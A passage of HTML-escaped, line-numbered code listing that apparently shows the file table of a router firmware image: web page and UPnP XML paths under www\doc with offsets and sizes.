border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum183&quot;&gt; 183:&lt;/span&gt; www\doc\f_u83.stm                   ?1:0xac514ecd offset: 15307 size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum184&quot;&gt; 184:&lt;/span&gt; www\doc\igd.xml                     ?1:0xac514ecd offset: 15750 size: 4518&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum185&quot;&gt; 185:&lt;/span&gt; www\doc\igd_l3f.xml                 ?1:0xac514ecd offset: 20268 size: 895&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum186&quot;&gt; 186:&lt;/span&gt; www\doc\igd_osf.xml                 ?1:0xac514ecd offset: 21163 size: 700&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum187&quot;&gt; 187:&lt;/span&gt; www\doc\igd_wcic.xml                ?1:0xac514ecd offset: 21863 size: 3878&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum188&quot;&gt; 188:&lt;/span&gt; www\doc\igd_wdsl.xml                ?1:0xac514ecd offset: 25741 size: 1876&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum189&quot;&gt; 189:&lt;/span&gt; www\doc\igd_wec.xml                 ?1:0xac514ecd offset: 27617 size: 756&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum190&quot;&gt; 190:&lt;/span&gt; www\doc\igd_wic.xml                 ?1:0xac514ecd offset: 28373 size: 10086&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum191&quot;&gt; 191:&lt;/span&gt; www\doc\igd_wpc.xml                 ?1:0xac514ecd offset: 38459 size: 11798&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum192&quot;&gt; 192:&lt;/span&gt; www\doc\index.stm                   ?1:0xac514ece offset: 50257 size: 477&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum193&quot;&gt; 193:&lt;/span&gt; www\doc\lan.stm                     ?1:0xac514ece offset: 50734 size: 436&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum194&quot;&gt; 194:&lt;/span&gt; www\doc\lan_dns51.stm               ?1:0xac514ece offset: 51170 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum195&quot;&gt; 195:&lt;/span&gt; www\doc\mm_atminttemp10.stm         ?1:0xac514ece offset: 51605 size: 505&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum196&quot;&gt; 196:&lt;/span&gt; www\doc\mm_atminttemp11.stm         ?1:0xac514ece offset: 52110 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum197&quot;&gt; 197:&lt;/span&gt; www\doc\mm_atminttemp12.stm         ?1:0xac514ece offset: 52616 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum198&quot;&gt; 198:&lt;/span&gt; www\doc\mm_atminttemp13.stm         ?1:0xac514ece offset: 53122 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum199&quot;&gt; 199:&lt;/span&gt; www\doc\mm_atminttemp14.stm         ?1:0xac514ece offset: 53628 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum200&quot;&gt; 200:&lt;/span&gt; www\doc\mm_atminttemp15.stm         ?1:0xac514ece offset: 54134 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum201&quot;&gt; 201:&lt;/span&gt; www\doc\mm_atminttemp16.stm         ?1:0xac514ece offset: 54640 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum202&quot;&gt; 202:&lt;/span&gt; www\doc\mm_atminttemp17.stm         ?1:0xac514ece offset: 55146 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum203&quot;&gt; 203:&lt;/span&gt; www\doc\mm_atminttemp18.stm         ?1:0xac514ece offset: 55652 size: 506&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum204&quot;&gt; 204:&lt;/span&gt; www\doc\mm_atminttemp3.stm          ?1:0xac514ece offset: 56158 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum205&quot;&gt; 205:&lt;/span&gt; www\doc\mm_atminttemp4.stm          ?1:0xac514ece offset: 56662 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum206&quot;&gt; 206:&lt;/span&gt; www\doc\mm_atminttemp5.stm          ?1:0xac514ece offset: 57166 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum207&quot;&gt; 207:&lt;/span&gt; www\doc\mm_atminttemp6.stm          ?1:0xac514ece offset: 57670 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum208&quot;&gt; 208:&lt;/span&gt; www\doc\mm_atminttemp7.stm          ?1:0xac514ece offset: 58174 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum209&quot;&gt; 209:&lt;/span&gt; www\doc\mm_atminttemp8.stm          ?1:0xac514ece offset: 58678 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum210&quot;&gt; 210:&lt;/span&gt; www\doc\mm_atminttemp9.stm          ?1:0xac514ece offset: 59182 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum211&quot;&gt; 211:&lt;/span&gt; www\doc\mm_qstatus.stm              ?1:0xac514ece offset: 59686 size: 499&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum212&quot;&gt; 212:&lt;/span&gt; www\doc\mm_r_tbl911.stm             ?1:0xac514ece offset: 60185 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum213&quot;&gt; 213:&lt;/span&gt; www\doc\mm_r_tbl9110.stm            ?1:0xac514ece offset: 60685 size: 502&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum214&quot;&gt; 214:&lt;/span&gt; www\doc\mm_r_tbl912.stm             ?1:0xac514ece offset: 61187 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum215&quot;&gt; 215:&lt;/span&gt; www\doc\mm_r_tbl913.stm             ?1:0xac514ece offset: 61687 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum216&quot;&gt; 216:&lt;/span&gt; www\doc\mm_r_tbl914.stm             ?1:0xac514ece offset: 62187 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum217&quot;&gt; 217:&lt;/span&gt; www\doc\mm_r_tbl915.stm             ?1:0xac514ece offset: 62687 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum218&quot;&gt; 218:&lt;/span&gt; www\doc\mm_r_tbl916.stm             ?1:0xac514ece offset: 63187 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum219&quot;&gt; 219:&lt;/span&gt; www\doc\mm_r_tbl917.stm             ?1:0xac514ece offset: 63687 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum220&quot;&gt; 220:&lt;/span&gt; www\doc\mm_r_tbl918.stm             ?1:0xac514ece offset: 64187 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum221&quot;&gt; 221:&lt;/span&gt; www\doc\mm_r_tbl919.stm             ?1:0xac514ece offset: 64687 size: 500&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum222&quot;&gt; 222:&lt;/span&gt; www\doc\mm_setupw_2.stm             ?1:0xaca529f4 offset: 65187 size: 414&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum223&quot;&gt; 223:&lt;/span&gt; www\doc\mm_setupw_3.stm             ?1:0xac514ece offset: 65601 size: 501&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum224&quot;&gt; 224:&lt;/span&gt; www\doc\mm_setupw_4.stm             ?1:0xac514ece offset: 66102 size: 502&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum225&quot;&gt; 225:&lt;/span&gt; www\doc\mm_setupw_5.stm             ?1:0xac514ece offset: 66604 size: 501&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum226&quot;&gt; 226:&lt;/span&gt; www\doc\mm_setupw_51.stm            ?1:0xac514ece offset: 67105 size: 504&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum227&quot;&gt; 227:&lt;/span&gt; www\doc\mr_tbl911.stm               ?1:0xac514ece offset: 67609 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum228&quot;&gt; 228:&lt;/span&gt; www\doc\mr_tbl9110.stm              ?1:0xac514ece offset: 68048 size: 440&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum229&quot;&gt; 229:&lt;/span&gt; www\doc\mr_tbl912.stm               ?1:0xac514ece offset: 68488 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum230&quot;&gt; 230:&lt;/span&gt; www\doc\mr_tbl913.stm               ?1:0xac514ece offset: 68927 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum231&quot;&gt; 231:&lt;/span&gt; www\doc\mr_tbl914.stm               ?1:0xac514ece offset: 69366 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum232&quot;&gt; 232:&lt;/span&gt; www\doc\mr_tbl915.stm               ?1:0xac514ece offset: 69805 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum233&quot;&gt; 233:&lt;/span&gt; www\doc\mr_tbl916.stm               ?1:0xac514ece offset: 70244 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 